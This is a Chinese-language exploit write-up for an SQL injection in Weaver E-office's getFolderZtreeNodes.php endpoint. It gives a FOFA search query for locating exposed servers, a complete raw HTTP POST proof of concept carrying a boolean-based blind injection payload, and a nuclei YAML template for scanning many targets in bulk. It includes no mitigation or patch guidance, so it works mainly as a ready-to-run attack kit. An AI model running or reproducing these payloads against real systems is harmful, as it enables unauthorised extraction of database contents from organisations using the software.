泛微E-office getFolderZtreeNodes SQL注入漏洞

漏洞简介

getFolderZtreeNodes.php存在SQL注入漏洞，攻击者可利用该漏洞获取数据库敏感信息

漏洞复现

fofa语法：app="泛微-EOffice"
登录页面如下：

POC：

POST /general/system/file_folder/purview_new/getFolderZtreeNodes.php HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 613

id=(SELECT (CASE WHEN (length(database())>7) THEN 1 ELSE (SELECT 9469 UNION SELECT 1668) END))&lv=0&n=&param=eyJmaWxlU29ydCI6bnVsbCwicm9vdCI6eyJuYW1lIjpudWxsLCJjaGVjayI6dHJ1ZSwidXJsIjoiL2dlbmVyYWwvZmlsZV9mb2xkZXIvZmlsZV9uZXcvZmlsZWxpc3QucGhwP1NPUlRfSUQ9MCZGSUxFX1NPUlQ9IiwidGFyZ2V0IjoiZmlsZV9tYWluIiwicmlnaHRDbGljayI6ZmFsc2V9LCJub2RlIjp7InJpZ2h0Q2xpY2siOmZhbHNlLCJ1cmwiOiIvZ2VuZXJhbC9maWxlX2ZvbGRlci9maWxlX25ldy9maWxlbGlzdC5waHAiLCJ0YXJnZXQiOiJmaWxlX21haW4iLCJsb2FkQWxsIjpmYWxzZX0sInNlbGVjdCI6eyJzb3J0aWQiOm51bGwsInNvcnRuYW1lIjpudWxsLCJnZXR3aGF0IjpudWxsLCJmaWxlc29ydCI6bnVsbCwiY2xpY2tGdW4iOiJzZWxlY3RfZm9sZGVyIn19

通过修改length(database())<0中的数字，如果数据库名长度小于0，条件为假，响应包中出现sql语句报错；数据库长度大于0，条件为真，响应包中未出现sql语句报错

nuclei批量yaml文件

id: eoffice_getFolderZtreeNodes_sqli
info:
  name: 泛微getFolderZtreeNodes 存在SQL注入漏洞
  author: mhb17
  severity: critical
  description: description
  reference:
    - https://
  tags: sqli
requests:
  - raw:
      - |-
        POST /general/system/file_folder/purview_new/getFolderZtreeNodes.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
        Connection: close
        Content-Type: application/x-www-form-urlencoded
        Content-Length: 613

        id=(SELECT (CASE WHEN (length(database())<0) THEN 1 ELSE (SELECT 9469 UNION SELECT 1668) END))&lv=0&n=&param=eyJmaWxlU29ydCI6bnVsbCwicm9vdCI6eyJuYW1lIjpudWxsLCJjaGVjayI6dHJ1ZSwidXJsIjoiL2dlbmVyYWwvZmlsZV9mb2xkZXIvZmlsZV9uZXcvZmlsZWxpc3QucGhwP1NPUlRfSUQ9MCZGSUxFX1NPUlQ9IiwidGFyZ2V0IjoiZmlsZV9tYWluIiwicmlnaHRDbGljayI6ZmFsc2V9LCJub2RlIjp7InJpZ2h0Q2xpY2siOmZhbHNlLCJ1cmwiOiIvZ2VuZXJhbC9maWxlX2ZvbGRlci9maWxlX25ldy9maWxlbGlzdC5waHAiLCJ0YXJnZXQiOiJmaWxlX21haW4iLCJsb2FkQWxsIjpmYWxzZX0sInNlbGVjdCI6eyJzb3J0aWQiOm51bGwsInNvcnRuYW1lIjpudWxsLCJnZXR3aGF0IjpudWxsLCJmaWxlc29ydCI6bnVsbCwiY2xpY2tGdW4iOiJzZWxlY3RfZm9sZGVyIn19
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - folder.class.php
      - type: word
        part: header
        words:
          - '302'